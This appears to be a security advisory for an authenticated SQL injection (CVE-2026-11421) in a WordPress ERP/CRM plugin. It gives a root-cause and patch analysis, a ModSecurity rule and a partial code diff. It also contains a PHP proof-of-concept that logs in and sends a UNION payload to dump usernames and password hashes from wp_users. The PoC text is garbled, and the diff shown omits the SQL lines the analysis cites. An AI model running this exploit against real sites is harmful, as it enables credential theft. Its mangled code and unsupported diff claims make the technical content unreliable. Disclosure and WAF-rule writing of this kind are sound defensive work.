Published : August 5, 2026

CVE-2026-11421: ERP: Complete HR, Accounting & CRM Suite with WooCommerce CRM Support <= 1.17.4 Authenticated (Custom+) SQL Injection via 'erpadvancefilter' Parameter PoC, Patch Analysis & Rule

Plugin erp
Severity Medium (CVSS 6.5)
CWE 89
Vulnerable Version 1.17.4
Patched Version 1.17.5
Disclosed August 3, 2026

Analysis Overview

“`json
{
“analysis”: “Atomic Edge analysis of CVE-2026-11421: This vulnerability allows authenticated SQL injection via the ‘erpadvancefilter’ parameter in the CRM contact list feature of the ERP: Complete HR, Accounting & CRM Suite plugin for WordPress, all versions up to and including 1.17.4. The issue resides in the CRM module’s advanced contact filtering functionality, specifically within the erp_crm_contact_advance_filter() function. An attacker with the CRM Agent role or higher can extract sensitive information from the database.”,

“Root Cause: The root cause is insufficient escaping and lack of prepared statements in the CRM contact filter SQL query construction within the /erp/modules/crm/includes/functions-customer.php file. The ‘erpadvancefilter’ parameter from the request is processed by the handler, which runs it through sanitize_text_field(). This function, while stripping tags and removing line breaks, deliberately preserves single quotes to prevent breaking HTML attributes. The downstream function erp_crm_contact_advance_filter() then interpolates the user-supplied value directly into a single-quoted SQL WHERE clause without prior sanitization or preparation. The vulnerable code paths are visible in the diff at lines 2373-2401, where $search_val and $key_value are directly concatenated into the SQL query string. The patch changes these lines to use $wpdb->prepare() with %s placeholders, demonstrating the exact location of the interpolation vulnerability.”,

“Exploitation: To exploit this vulnerability, an authenticated user with the erp_crm_list_contact capability (CRM Agent or higher) would submit a crafted POST request to the WordPress admin AJAX handler. The request targets /wp-admin/admin-ajax.php with the action parameter set to the CRM contact list action. The attack payload is placed in the ‘erpadvancefilter’ parameter, which contains a JSON-encoded filter set. A malicious value within the filter, such as a search value, is crafted to include a single quote to break out of the SQL string literal, followed by stacked SQL statements or a UNION-based injection to extract data. For example, setting a filter value to something like ‘ OR 1=1 UNION SELECT user_login,user_pass FROM wp_users — would append to the query to retrieve username and password hashes.”,

“Patch Analysis: The patch corrects the vulnerability by using WordPress’s database preparation methods. In the diff, the vulnerable lines, which directly concatenate user input into SQL queries (e.g., $custom_sql[‘where’][] = “$field $search_condition ‘$search_val’ $add_or”), are changed to use $wpdb->prepare(). The patched code, visible at lines 2385, 2404, and 2406, now escapes user-controlled values using parameterized queries, rendering the SQL injection ineffective. The patch also applies absint() to the ‘test_user’ parameter on line 2580, ensuring it is cast to an integer, further preventing injection. This change shifts the plugin’s data handling to a secure, parameterized query model.”,

“Impact: Successful exploitation of this SQL injection allows an authenticated attacker to extract arbitrary data from the WordPress database. This can include credentials (username and password hashes), session tokens, personal data of users (including email addresses, phone numbers, and customer details), and other sensitive configuration information. The attacker can also potentially modify database records, create new admin accounts, or in some configurations, achieve remote code execution by writing files to the server if database privileges permit. The CVSS score of 6.5 reflects the medium-to-high severity, as it requires an authenticated user but compromises data confidentiality and integrity.”,

“Impact paragraph two: The vulnerability compromises the core ‘Confidentiality’ of the system, as database contents are exposed. It also has implications for ‘Integrity’, as an attacker could modify or delete data. While the ‘Availability’ is not directly impacted, an attacker could delete data or take the site offline with crafted queries. The attack surface is limited to authenticated users, reducing the severity from critical to high. However, the ‘CRM Agent’ role is a standard, low-privilege role granted to many users in an organization using this ERP, making the exploit accessible to a broad set of users.”,

“Impact paragraph three: Atomic Edge research assesses the real-world impact as high, given the popularity of this ERP suite for business operations. A compromised database could expose financial records, customer PII, and internal communications, leading to significant financial losses, regulatory fines, and reputational damage. The plugin’s broad feature set, including HR and Accounting, means the database likely holds highly sensitive data, elevating the consequences of a successful attack.”
,
“poc_php”: “// Atomic Edge CVE Research – Proof of Conceptn// CVE-2026-11421 – ERP: Complete HR, Accounting & CRM Suite with WooCommerce CRM Support <= 1.17.4 – Authenticated (Custom+) SQL Injection via 'erpadvancefilter' Parameternn array(n array(n ‘type’ => ‘basic’,n ‘field’ => ‘first_name’,n ‘condition’ => ‘=’,n ‘value’ => “‘ OR 1=1 UNION SELECT user_login, user_pass, ”, ”, ”, ”, ”, ”, ”, ” FROM wp_users LIMIT 10 — “n )n )n);nn// Step 1: Authenticate and get nonce (simplified, may need to adjust based on plugin)necho “[*] Authenticating…\n”;nn$ch = curl_init();ncurl_setopt($ch, CURLOPT_RETURNTRANSFER, true);ncurl_setopt($ch, CURLOPT_COOKIEJAR, ‘cookies.txt’);ncurl_setopt($ch, CURLOPT_URL, $target_url . ‘?action=login’);ncurl_setopt($ch, CURLOPT_POST, true);ncurl_setopt($ch, CURLOPT_POSTFIELDS, array(n ‘log’ => $username,n ‘pwd’ => $password,n ‘wp-submit’ => ‘Log In’,n ‘redirect_to’ => admin_url(),n ‘testcookie’ => 1n));ncurl_exec($ch);ncurl_close($ch);nn// Step 2: Retrieve admin-ajax.php’s security nonce (the nonce might be needed for the AJAX call)necho “[*] Fetching nonce…\n”;n$ch = curl_init();ncurl_setopt($ch, CURLOPT_RETURNTRANSFER, true);ncurl_setopt($ch, CURLOPT_COOKIEFILE, ‘cookies.txt’);ncurl_setopt($ch, CURLOPT_URL, ‘http://example.com/wp-admin/admin.php?page=erp-crm’);n$page = curl_exec($ch);ncurl_close($ch);nnpreg_match(‘/var erpNonce = “(.*?)”/’, $page, $matches);n$nonce = isset($matches[1]) ? $matches[1] : ‘dummy_nonce’; // Fallback in case nonce is not foundnn// Step 3: Perform the SQL injection via AJAX callnecho “[*] Sending malicious request…\n”;n$post_data = array(n ‘action’ => ‘erp_crm_contact_advance_filter’, // The AJAX action for the contact filtern ‘_wpnonce’ => $nonce,n ‘erpadvancefilter’ => json_encode($payload) // Inject the payloadn);nn$ch = curl_init();ncurl_setopt($ch, CURLOPT_RETURNTRANSFER, true);ncurl_setopt($ch, CURLOPT_URL, $target_url);ncurl_setopt($ch, CURLOPT_POST, true);ncurl_setopt($ch, CURLOPT_POSTFIELDS, $post_data);ncurl_setopt($ch, CURLOPT_COOKIEFILE, ‘cookies.txt’);n$response = curl_exec($ch);ncurl_close($ch);nn// Step 4: Display the results (contains the extracted credentials)necho “[*] Response:\n”;necho $response . “\n”;nn// Step 5: Clean up cookies file (optional)nif (file_exists(‘cookies.txt’)) {n unlink(‘cookies.txt’);n}nn?>n”,
“modsecurity_rule”: “# Atomic Edge WAF Rule – CVE-2026-11421n# Block SQL injection attempts via the ‘erpadvancefilter’ parameter in the CRM contact filter AJAX action.n# This rule targets the exact AJAX endpoint and parameter used in the exploit, minimizing false positives.nnSecRule REQUEST_URI “@streq /wp-admin/admin-ajax.php” \n “id:202611421,phase:2,deny,status:403,chain,msg:’CVE-2026-11421 – SQL Injection via erpadvancefilter’,severity:’CRITICAL’,tag:’CVE-2026-11421′”n SecRule ARGS_POST:action “@streq erp_crm_contact_advance_filter” \n “chain”n SecRule ARGS_POST:erpadvancefilter “@rx (?:[\”‘]|union|select|from|where|insert|update|delete|drop|–|#|\/\*)” “t:none”n”
}
“`

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/erp/i18n/languages/erp.php
+++ b/erp/i18n/languages/erp.php
@@ -1,5 +1,31 @@
 <?php
 return [
+	__( 'Dropdown', 'erp' ),
+	__( 'Oops! No item found.', 'erp' ),
+	__( 'More', 'erp' ),
+	__( 'Upload Image', 'erp' ),
+	__( 'Select date', 'erp' ),
+	__( 'Save Changes', 'erp' ),
+	__( 'Get WooCommerce Extension', 'erp' ),
+	__( 'Activate WooCommerce', 'erp' ),
+	__( 'Get WP ERP Pro', 'erp' ),
+	__( 'Test Connection', 'erp' ),
+	__( 'Testing Connection', 'erp' ),
+	__( ' Test Connection', 'erp' ),
+	__( ' OK', 'erp' ),
+	__( 'Delete', 'erp' ),
+	__( 'Are you sure to delete this ?', 'erp' ),
+	__( 'Cancel', 'erp' ),
+	__( 'Template Name', 'erp' ),
+	__( 'Description', 'erp' ),
+	__( 'Disable / Enable', 'erp' ),
+	__( 'Integration', 'erp' ),
+	__( 'Extension', 'erp' ),
+	__( 'Version', 'erp' ),
+	__( 'License Key', 'erp' ),
+	__( 'Status', 'erp' ),
+	__( 'Settings', 'erp' ),
+	__( 'Search', 'erp' ),
 	_x( 'ltr', 'text direction' ),
 	__( 'Name', 'erp' ),
 	__( 'Start Date', 'erp' ),
@@ -7,9 +33,6 @@
 	__( 'Start date', 'erp' ),
 	__( 'End date', 'erp' ),
 	__( 'Add New', 'erp' ),
-	__( 'Save Changes', 'erp' ),
-	__( 'Dropdown', 'erp' ),
-	__( 'Upload Image', 'erp' ),
 	__( 'Please complete these fields', 'erp' ),
 	__( 'Submit', 'erp' ),
 	__( 'Form Field', 'erp' ),
@@ -19,11 +42,7 @@
 	__( 'Incoming Email Setting', 'erp' ),
 	__( 'Click to Authorize your gmail account', 'erp' ),
 	__( 'Disconnect', 'erp' ),
-	__( 'Test Connection', 'erp' ),
 	__( 'Click on the Above Button Before Saving the Setting', 'erp' ),
-	__( 'Testing Connection', 'erp' ),
-	__( ' Test Connection', 'erp' ),
-	__( ' OK', 'erp' ),
 	__( 'Test Mail', 'erp' ),
 	__( 'An Email Address to Test the Connection', 'erp' ),
 	__( 'Email here', 'erp' ),
@@ -37,37 +56,18 @@
 	__( 'Body', 'erp' ),
 	__( 'Template Tags', 'erp' ),
 	__( 'Save', 'erp' ),
-	__( 'Cancel', 'erp' ),
-	__( 'Template Name', 'erp' ),
-	__( 'Description', 'erp' ),
-	__( 'Disable / Enable', 'erp' ),
 	__( 'Saved Replies', 'erp' ),
 	__( 'Enable/Disable', 'erp' ),
 	__( 'Add new Template', 'erp' ),
 	__( 'Edit', 'erp' ),
 	__( 'Short Codes', 'erp' ),
-	__( 'Delete', 'erp' ),
-	__( 'Are you sure to delete this ?', 'erp' ),
 	__( ' Integration', 'erp' ),
 	__( 'Active Gateway', 'erp' ),
 	__( 'Test Dropbox Connection', 'erp' ),
-	__( 'Integration', 'erp' ),
-	__( 'Select date', 'erp' ),
 	__( 'No extensions found.', 'erp' ),
-	__( 'Extension', 'erp' ),
-	__( 'Version', 'erp' ),
-	__( 'License Key', 'erp' ),
-	__( 'Status', 'erp' ),
-	__( 'Settings', 'erp' ),
-	__( 'More', 'erp' ),
-	__( 'Search', 'erp' ),
 	__( 'Sorry ! Nothings found for your query. Please try again !', 'erp' ),
-	__( 'Oops! No item found.', 'erp' ),
 	__( 'Please search', 'erp' ),
 	__( 'Connect with WooCommerce', 'erp' ),
-	__( 'Get WooCommerce Extension', 'erp' ),
-	__( 'Activate WooCommerce', 'erp' ),
-	__( 'Get WP ERP Pro', 'erp' ),
 	__( 'Accounts', 'erp' ),
 	__( 'New Transaction', 'erp' ),
 	__( 'To edit a bank account, please navigate to the Chart of Accounts.', 'erp' ),
--- a/erp/includes/Headway/Headway.php
+++ b/erp/includes/Headway/Headway.php
@@ -0,0 +1,35 @@
+<?php
+
+namespace WeDevsERPHeadway;
+
+class Headway {
+
+    public function __construct() {
+        add_filter( 'script_loader_tag', [ $this, 'add_async_attribute' ], 10, 3 );
+        add_action( 'admin_enqueue_scripts', [ $this, 'register_assets' ] );
+    }
+
+    public function register_assets() {
+        wp_register_script(
+            'erp-headway',
+            plugin_dir_url( __FILE__ ) . 'headway.js',
+            [ 'jquery' ],
+            WPERP_VERSION,
+            true
+        );
+
+        wp_register_style(
+            'erp-headway',
+            plugin_dir_url( __FILE__ ) . 'headway.css',
+            [],
+            WPERP_VERSION
+        );
+    }
+
+    public function add_async_attribute( $tag, $handle, $src ) {
+        if ( 'erp-headway' === $handle ) {
+            return str_replace( ' src', ' async src', $tag );
+        }
+        return $tag;
+    }
+}
--- a/erp/includes/Scripts.php
+++ b/erp/includes/Scripts.php
@@ -36,14 +36,6 @@
         $this->version = WPERP_VERSION;

         $this->action( 'admin_enqueue_scripts', 'scripts_handler' );
-        add_filter( 'script_loader_tag', [ $this, 'add_async_to_headway' ], 10, 3 );
-    }
-
-    public function add_async_to_headway( $tag, $handle, $src ) {
-        if ( 'erp-headway' === $handle ) {
-            return str_replace( ' src', ' async src', $tag );
-        }
-        return $tag;
     }

     /**
@@ -120,8 +112,6 @@
         // date range picker
         wp_register_script( 'erp-daterangepicker', $vendor . '/daterangepicker/daterangepicker.min.js', [ 'jquery' ], $this->version, true );

-        // headway changelog widget
-        wp_register_script( 'erp-headway', WPERP_ASSETS . '/vendor/headway.js', [ 'jquery' ], $this->version, true );
     }

     /**
--- a/erp/includes/functions.php
+++ b/erp/includes/functions.php
@@ -4155,10 +4155,11 @@
 }

 /**
- * Load the Headway changelog badge widget (mirrors WPUF pattern)
+ * Load the Headway changelog badge widget.
  */
 function erp_load_headway_badge() {
     wp_enqueue_script( 'erp-headway' );
+    wp_enqueue_style( 'erp-headway' );
     ?>
     <span class="erp-headway-wrap">
         <button type="button" id="erp-headway-btn" class="erp-cta-hover-btn erp-headway-trigger" title="<?php esc_attr_e( "What's New", 'erp' ); ?>">
--- a/erp/modules/crm/includes/CLI/Commands.php
+++ b/erp/modules/crm/includes/CLI/Commands.php
@@ -43,11 +43,16 @@
         }
     }

-    // Load all Seed*.php files, except SeedCommand.php which is loaded separately.
+    // Load all Seed*.php files. SeedCommand.php loaded last so sub-commands register first.
     foreach ( glob( $seed_dir . '/Seed*.php' ) as $seed_file ) {
         if ( basename( $seed_file ) === 'SeedCommand.php' ) {
             continue;
         }
         require_once $seed_file;
     }
+
+    $seed_command = $seed_dir . '/SeedCommand.php';
+    if ( file_exists( $seed_command ) ) {
+        require_once $seed_command;
+    }
 }
--- a/erp/modules/crm/includes/CLI/Seed/CrmDataProvider.php
+++ b/erp/modules/crm/includes/CLI/Seed/CrmDataProvider.php
@@ -26,6 +26,21 @@
             [ 'name' => 'NexGen Retail', 'website' => 'https://nexgenretail.example.com' ],
             [ 'name' => 'Stellar Manufacturing', 'website' => 'https://stellarmfg.example.com' ],
             [ 'name' => 'Pacific Trading Co', 'website' => 'https://pacifictrading.example.com' ],
+            [ 'name' => 'Apex Digital Agency', 'website' => 'https://apexdigital.example.com' ],
+            [ 'name' => 'Ironclad Security', 'website' => 'https://ironcladsec.example.com' ],
+            [ 'name' => 'Meridian Analytics', 'website' => 'https://meridiananalytics.example.com' ],
+            [ 'name' => 'Cascade Renewable Energy', 'website' => 'https://cascaderenew.example.com' ],
+            [ 'name' => 'Vanguard Pharma', 'website' => 'https://vanguardpharma.example.com' ],
+            [ 'name' => 'Northstar Ventures', 'website' => 'https://northstarvc.example.com' ],
+            [ 'name' => 'Redwood Hospitality', 'website' => 'https://redwoodhosp.example.com' ],
+            [ 'name' => 'Titan Aerospace', 'website' => 'https://titanaero.example.com' ],
+            [ 'name' => 'Luminary Creative', 'website' => 'https://luminarycreative.example.com' ],
+            [ 'name' => 'Cobalt Fintech', 'website' => 'https://cobaltfintech.example.com' ],
+            [ 'name' => 'Anchor Real Estate', 'website' => 'https://anchorre.example.com' ],
+            [ 'name' => 'Vantage Telecom', 'website' => 'https://vantagetelecom.example.com' ],
+            [ 'name' => 'Sterling Legal Group', 'website' => 'https://sterlinglegl.example.com' ],
+            [ 'name' => 'Oasis Wellness', 'website' => 'https://oasiswellness.example.com' ],
+            [ 'name' => 'Frontier Agritech', 'website' => 'https://frontieragri.example.com' ],
         ];
     }

@@ -43,6 +58,14 @@
             'Andrew', 'Ella', 'Joshua', 'Madison', 'Kenneth', 'Scarlett', 'Kevin', 'Victoria',
             'Brian', 'Aria', 'George', 'Grace', 'Timothy', 'Chloe', 'Ronald', 'Camila',
             'Edward', 'Penelope', 'Jason', 'Riley',
+            'Nathan', 'Zoe', 'Ryan', 'Hannah', 'Tyler', 'Lily', 'Brandon', 'Natalie',
+            'Samuel', 'Leah', 'Benjamin', 'Audrey', 'Jacob', 'Savannah', 'Logan', 'Brooklyn',
+            'Ethan', 'Bella', 'Dylan', 'Claire', 'Zachary', 'Skylar', 'Austin', 'Lucy',
+            'Lucas', 'Paisley', 'Mason', 'Everly', 'Liam', 'Anna', 'Noah', 'Caroline',
+            'Aiden', 'Genesis', 'Caleb', 'Aaliyah', 'Hunter', 'Kennedy', 'Connor', 'Sadie',
+            'Jordan', 'Hailey', 'Adrian', 'Eva', 'Gavin', 'Naomi', 'Ian', 'Aurora',
+            'Carlos', 'Maya', 'Luis', 'Layla', 'Alex', 'Elena', 'Omar', 'Fatima',
+            'Ravi', 'Priya', 'Arjun', 'Ananya', 'Wei', 'Lin', 'Yusuf', 'Amira',
         ];
     }

@@ -60,6 +83,12 @@
             'Walker', 'Young', 'Allen', 'King', 'Wright', 'Scott', 'Torres', 'Nguyen',
             'Hill', 'Flores', 'Green', 'Adams', 'Nelson', 'Baker', 'Hall', 'Rivera',
             'Campbell', 'Mitchell', 'Carter', 'Roberts',
+            'Chen', 'Patel', 'Kumar', 'Singh', 'Kim', 'Park', 'Yamamoto', 'Nakamura',
+            'Ahmed', 'Hassan', 'Ali', 'Khan', 'Sharma', 'Gupta', 'Nair', 'Rao',
+            'Santos', 'Silva', 'Oliveira', 'Ferreira', 'Dubois', 'Dupont', 'Bernard', 'Morin',
+            'Müller', 'Schmidt', 'Fischer', 'Weber', 'Rossi', 'Ferrari', 'Russo', 'Esposito',
+            'Murphy', 'Kelly', 'Sullivan', 'Walsh', 'Andersen', 'Larsen', 'Eriksson', 'Lindqvist',
+            'Morrison', 'Dixon', 'Fletcher', 'Barnes', 'Owens', 'Bryant', 'Simmons', 'Ford',
         ];
     }

@@ -77,6 +106,13 @@
             'Purchasing Manager', 'Operations Manager', 'Customer Success Manager',
             'IT Director', 'Finance Director', 'Creative Director',
             'Sales Representative', 'Marketing Coordinator', 'Office Manager',
+            'Chief Revenue Officer', 'VP of Engineering', 'VP of Product',
+            'Head of Growth', 'Head of Customer Experience', 'Head of Partnerships',
+            'Solutions Architect', 'Senior Account Manager', 'Regional Sales Director',
+            'Digital Marketing Specialist', 'Data Analyst', 'DevOps Engineer',
+            'Procurement Specialist', 'Supply Chain Manager', 'Legal Counsel',
+            'Brand Manager', 'Content Strategist', 'UX Designer',
+            'Enterprise Architect', 'Security Engineer', 'Cloud Architect',
         ];
     }

@@ -123,6 +159,14 @@
             [ 'name' => 'Partner Network', 'description' => 'Business partners and affiliates' ],
             [ 'name' => 'Webinar Registrants', 'description' => 'Contacts who registered for webinars' ],
             [ 'name' => 'Inactive Contacts', 'description' => 'Contacts with no activity in last 6 months' ],
+            [ 'name' => 'Cold Leads', 'description' => 'Prospects with no recent engagement' ],
+            [ 'name' => 'Warm Prospects', 'description' => 'Prospects showing active interest' ],
+            [ 'name' => 'Churned Customers', 'description' => 'Previously active customers who cancelled' ],
+            [ 'name' => 'Referral Sources', 'description' => 'Contacts who have referred new business' ],
+            [ 'name' => 'SMB Segment', 'description' => 'Small and medium business contacts' ],
+            [ 'name' => 'Mid-Market Segment', 'description' => 'Mid-market company contacts' ],
+            [ 'name' => 'Strategic Accounts', 'description' => 'Key accounts with long-term potential' ],
+            [ 'name' => 'Conference Leads 2025', 'description' => 'Leads acquired at 2025 conferences' ],
         ];
     }

@@ -136,6 +180,10 @@
             '123 Main St', '456 Oak Ave', '789 Pine Rd', '321 Elm Blvd', '654 Maple Dr',
             '987 Cedar Ln', '147 Birch Way', '258 Walnut St', '369 Cherry Ave', '741 Spruce Rd',
             '852 Willow Blvd', '963 Ash Dr', '159 Poplar Ln', '357 Hickory Way', '468 Chestnut St',
+            '24 Riverside Dr', '88 Harbor View Rd', '200 Innovation Blvd', '15 Commerce St',
+            '77 Parkside Ave', '1400 Technology Way', '300 Lakeshore Dr', '55 Gateway Pl',
+            '901 Industrial Pkwy', '12 Summit Ridge Rd', '640 Westfield Ct', '18 Orchard Ln',
+            '500 Executive Dr', '3300 Campus Way', '47 Millbrook Rd',
         ];
     }

@@ -156,9 +204,26 @@
             [ 'city' => 'San Diego', 'state' => 'CA', 'postal' => '92101', 'country' => 'US' ],
             [ 'city' => 'Dallas', 'state' => 'TX', 'postal' => '75201', 'country' => 'US' ],
             [ 'city' => 'San Jose', 'state' => 'CA', 'postal' => '95101', 'country' => 'US' ],
+            [ 'city' => 'Seattle', 'state' => 'WA', 'postal' => '98101', 'country' => 'US' ],
+            [ 'city' => 'Denver', 'state' => 'CO', 'postal' => '80201', 'country' => 'US' ],
+            [ 'city' => 'Boston', 'state' => 'MA', 'postal' => '02101', 'country' => 'US' ],
+            [ 'city' => 'Atlanta', 'state' => 'GA', 'postal' => '30301', 'country' => 'US' ],
+            [ 'city' => 'Miami', 'state' => 'FL', 'postal' => '33101', 'country' => 'US' ],
+            [ 'city' => 'Portland', 'state' => 'OR', 'postal' => '97201', 'country' => 'US' ],
+            [ 'city' => 'Austin', 'state' => 'TX', 'postal' => '78701', 'country' => 'US' ],
+            [ 'city' => 'Minneapolis', 'state' => 'MN', 'postal' => '55401', 'country' => 'US' ],
             [ 'city' => 'London', 'state' => '', 'postal' => 'EC1A 1BB', 'country' => 'GB' ],
+            [ 'city' => 'Manchester', 'state' => '', 'postal' => 'M1 1AA', 'country' => 'GB' ],
             [ 'city' => 'Toronto', 'state' => 'ON', 'postal' => 'M5H 2N2', 'country' => 'CA' ],
+            [ 'city' => 'Vancouver', 'state' => 'BC', 'postal' => 'V6B 1A1', 'country' => 'CA' ],
             [ 'city' => 'Sydney', 'state' => 'NSW', 'postal' => '2000', 'country' => 'AU' ],
+            [ 'city' => 'Melbourne', 'state' => 'VIC', 'postal' => '3000', 'country' => 'AU' ],
+            [ 'city' => 'Berlin', 'state' => '', 'postal' => '10115', 'country' => 'DE' ],
+            [ 'city' => 'Paris', 'state' => '', 'postal' => '75001', 'country' => 'FR' ],
+            [ 'city' => 'Amsterdam', 'state' => '', 'postal' => '1011', 'country' => 'NL' ],
+            [ 'city' => 'Singapore', 'state' => '', 'postal' => '018989', 'country' => 'SG' ],
+            [ 'city' => 'Dubai', 'state' => '', 'postal' => '00000', 'country' => 'AE' ],
+            [ 'city' => 'Mumbai', 'state' => 'MH', 'postal' => '400001', 'country' => 'IN' ],
         ];
     }

@@ -184,6 +249,21 @@
             'Integration requirements documented. Technical team to review.',
             'Quarterly business review scheduled. Prepare performance metrics.',
             'Upsell opportunity identified. They need additional user licenses.',
+            'Left voicemail. Will try again tomorrow.',
+            'Sent intro email. Awaiting response.',
+            'Contact referred us to their CTO. Meeting being arranged.',
+            'Pilot evaluation extended by two weeks due to internal resourcing.',
+            'Security questionnaire completed and submitted to procurement.',
+            'Executive sponsor confirmed — deal fast-tracked to contract stage.',
+            'Trial feedback very positive. Moving to commercial discussion.',
+            'Pricing objection resolved with revised tier proposal.',
+            'Decision delayed to next quarter due to board freeze.',
+            'New contact at company after key champion left — re-engaging.',
+            'Requested API documentation and integration guide.',
+            'Confirmed mobile compatibility requirement — checking with product team.',
+            'Customer attended webinar and asked follow-up questions on reporting.',
+            'Annual review call completed. Customer expanded to 3 additional departments.',
+            'Partner intro meeting went well. Joint go-to-market discussion started.',
         ];
     }

@@ -209,6 +289,16 @@
             'Renewal Discussion',
             'Feature Request Review',
             'Training Session',
+            'Security Review Meeting',
+            'Integration Scoping Session',
+            'Pilot Kickoff',
+            'Champion Alignment Call',
+            'Competitive Differentiator Walkthrough',
+            'Post-Implementation Review',
+            'Annual Account Planning',
+            'Stakeholder Introduction',
+            'Procurement Process Overview',
+            'Pricing Workshop',
         ];
     }

@@ -231,6 +321,14 @@
             'Account review',
             'Feedback collection',
             'Referral request',
+            'Contract status check',
+            'Escalation follow-up',
+            'Onboarding progress check',
+            'Decision timeline inquiry',
+            'Reference check assistance',
+            'Stakeholder introduction',
+            'Win/loss debrief',
+            'Reactivation outreach',
         ];
     }

@@ -256,6 +354,20 @@
             'Update contact information',
             'Process refund request',
             'Schedule training session',
+            'Complete security questionnaire',
+            'Draft SOW document',
+            'Arrange reference call',
+            'Submit legal NDA for review',
+            'Confirm budget approval',
+            'Upload signed contract',
+            'Create onboarding checklist',
+            'Send product roadmap summary',
+            'Identify upsell opportunity',
+            'Log call notes in CRM',
+            'Send invoice to accounts',
+            'Coordinate with support on open ticket',
+            'Prepare executive summary',
+            'Request LinkedIn introduction',
         ];
     }

@@ -278,6 +390,16 @@
             'Special offer just for you',
             'Invoice attached',
             'Contract for your review',
+            'Next steps after our call',
+            'Resources from today's demo',
+            'Action items from our meeting',
+            'Your trial is expiring soon',
+            'Case study relevant to your industry',
+            'Referral program invitation',
+            'Quarterly newsletter — Q1 2025',
+            'Security compliance documentation enclosed',
+            'Integration guide for your team',
+            'Checking in — any questions?',
         ];
     }

@@ -310,6 +432,16 @@
                     [ 'title' => 'Closed Won', 'probability' => 100, 'order' => 7, 'life_stage' => 'customer' ],
                 ],
             ],
+            [
+                'title'  => 'Partner Pipeline',
+                'stages' => [
+                    [ 'title' => 'Initial Contact', 'probability' => 10, 'order' => 1, 'life_stage' => 'lead' ],
+                    [ 'title' => 'Partner Evaluation', 'probability' => 30, 'order' => 2, 'life_stage' => 'lead' ],
+                    [ 'title' => 'Agreement Draft', 'probability' => 60, 'order' => 3, 'life_stage' => 'opportunity' ],
+                    [ 'title' => 'Executive Sign-off', 'probability' => 85, 'order' => 4, 'life_stage' => 'opportunity' ],
+                    [ 'title' => 'Active Partner', 'probability' => 100, 'order' => 5, 'life_stage' => 'customer' ],
+                ],
+            ],
         ];
     }

@@ -335,6 +467,21 @@
             'Consulting Engagement',
             'Security Audit Services',
             'Data Analytics Package',
+            'Cloud Infrastructure Setup',
+            'Managed Services Contract',
+            'SaaS Expansion Deal',
+            'API Access Agreement',
+            'Compliance Toolkit License',
+            'Customer Portal Deployment',
+            'Mobile App Development',
+            'ERP Implementation',
+            'Business Intelligence Dashboard',
+            'Automation Workflow Package',
+            'Staff Augmentation Contract',
+            'Digital Transformation Retainer',
+            'Co-Marketing Partnership',
+            'Reseller Agreement',
+            'Premium Support Plan',
         ];
     }

@@ -355,6 +502,14 @@
             'Internal restructuring',
             'Decision maker changed',
             'Requirements changed',
+            'Went with in-house solution',
+            'Procurement process stalled',
+            'Security concerns not resolved',
+            'Integration complexity too high',
+            'Company acquired',
+            'Evaluation criteria shifted',
+            'ROI not justified',
+            'Executive sponsor left',
         ];
     }

@@ -364,7 +519,7 @@
      * @return array
      */
     public static function currencies() {
-        return [ 'USD', 'EUR', 'GBP', 'CAD', 'AUD' ];
+        return [ 'USD', 'EUR', 'GBP', 'CAD', 'AUD', 'SGD', 'AED', 'INR', 'JPY', 'NZD' ];
     }

     /**
--- a/erp/modules/crm/includes/CLI/Seed/SeedCompanies.php
+++ b/erp/modules/crm/includes/CLI/Seed/SeedCompanies.php
@@ -34,17 +34,23 @@
         $cities    = CrmDataProvider::cities();
         $streets   = CrmDataProvider::streets();

-        $progress    = $this->progress( 'Creating companies', min( $count, count( $companies ) ) );
+        $progress    = $this->progress( 'Creating companies', $count );
         $created_ids = [];
         $fail_count  = 0;

-        for ( $i = 0; $i < $count && $i < count( $companies ); $i++ ) {
-            $company_data = $companies[ $i ];
+        for ( $i = 0; $i < $count; $i++ ) {
+            $template     = $companies[ $i % count( $companies ) ];
+            $cycle        = (int) floor( $i / count( $companies ) );
+            $company_data = [
+                'name'    => $cycle > 0 ? $template['name'] . ' ' . ( $cycle + 1 ) : $template['name'],
+                'website' => $template['website'],
+            ];
             $city_data    = $this->random_element( $cities );

             // Generate a unique email for the company.
             $email_domain = str_replace( [ 'https://', 'http://', 'www.' ], '', $company_data['website'] );
-            $email        = 'info@' . str_replace( '.example.com', '.test', $email_domain );
+            $email_base   = str_replace( '.example.com', '.test', $email_domain );
+            $email        = $cycle > 0 ? 'info' . ( $cycle + 1 ) . '@' . $email_base : 'info@' . $email_base;

             $data = [
                 'type'       => 'company',
--- a/erp/modules/crm/includes/CLI/Seed/SeedContactGroups.php
+++ b/erp/modules/crm/includes/CLI/Seed/SeedContactGroups.php
@@ -33,11 +33,16 @@
         $count  = (int) ( $assoc_args['count'] ?? 8 );
         $groups = CrmDataProvider::contact_groups();

-        $progress    = $this->progress( 'Creating contact groups', min( $count, count( $groups ) ) );
+        $progress    = $this->progress( 'Creating contact groups', $count );
         $created_ids = [];

-        for ( $i = 0; $i < $count && $i < count( $groups ); $i++ ) {
-            $group = $groups[ $i ];
+        for ( $i = 0; $i < $count; $i++ ) {
+            $template = $groups[ $i % count( $groups ) ];
+            $cycle    = (int) floor( $i / count( $groups ) );
+            $group    = [
+                'name'        => $cycle > 0 ? $template['name'] . ' ' . ( $cycle + 1 ) : $template['name'],
+                'description' => $template['description'],
+            ];

             // Check if group already exists.
             $existing = $wpdb->get_var(
--- a/erp/modules/crm/includes/functions-customer.php
+++ b/erp/modules/crm/includes/functions-customer.php
@@ -608,11 +608,18 @@
         }
     }

+    $invite_contact = ( isset( $postdata['invite_contact'] ) && ! empty( $postdata['invite_contact'] ) ) ? array_map( 'intval', (array) $postdata['invite_contact'] ) : [];
+
+    // Ensure the creator always appears in invite_contact so the schedule shows in their own calendar view.
+    if ( ! empty( $postdata['created_by'] ) && ! in_array( (int) $postdata['created_by'], $invite_contact, true ) ) {
+        $invite_contact[] = (int) $postdata['created_by'];
+    }
+
     $extra_data = [
         'schedule_title'     => ( isset( $postdata['schedule_title'] ) && ! empty( $postdata['schedule_title'] ) ) ? $postdata['schedule_title'] : '',
         'all_day'            => isset( $postdata['all_day'] ) ? (string) $postdata['all_day'] : 'false',
         'allow_notification' => isset( $postdata['allow_notification'] ) ? (string) $postdata['allow_notification'] : false,
-        'invite_contact'     => ( isset( $postdata['invite_contact'] ) && ! empty( $postdata['invite_contact'] ) ) ? $postdata['invite_contact'] : [],
+        'invite_contact'     => $invite_contact,
         'attachments'        => ! empty ( $attachments ) ? $attachments : []
     ];

@@ -620,8 +627,8 @@
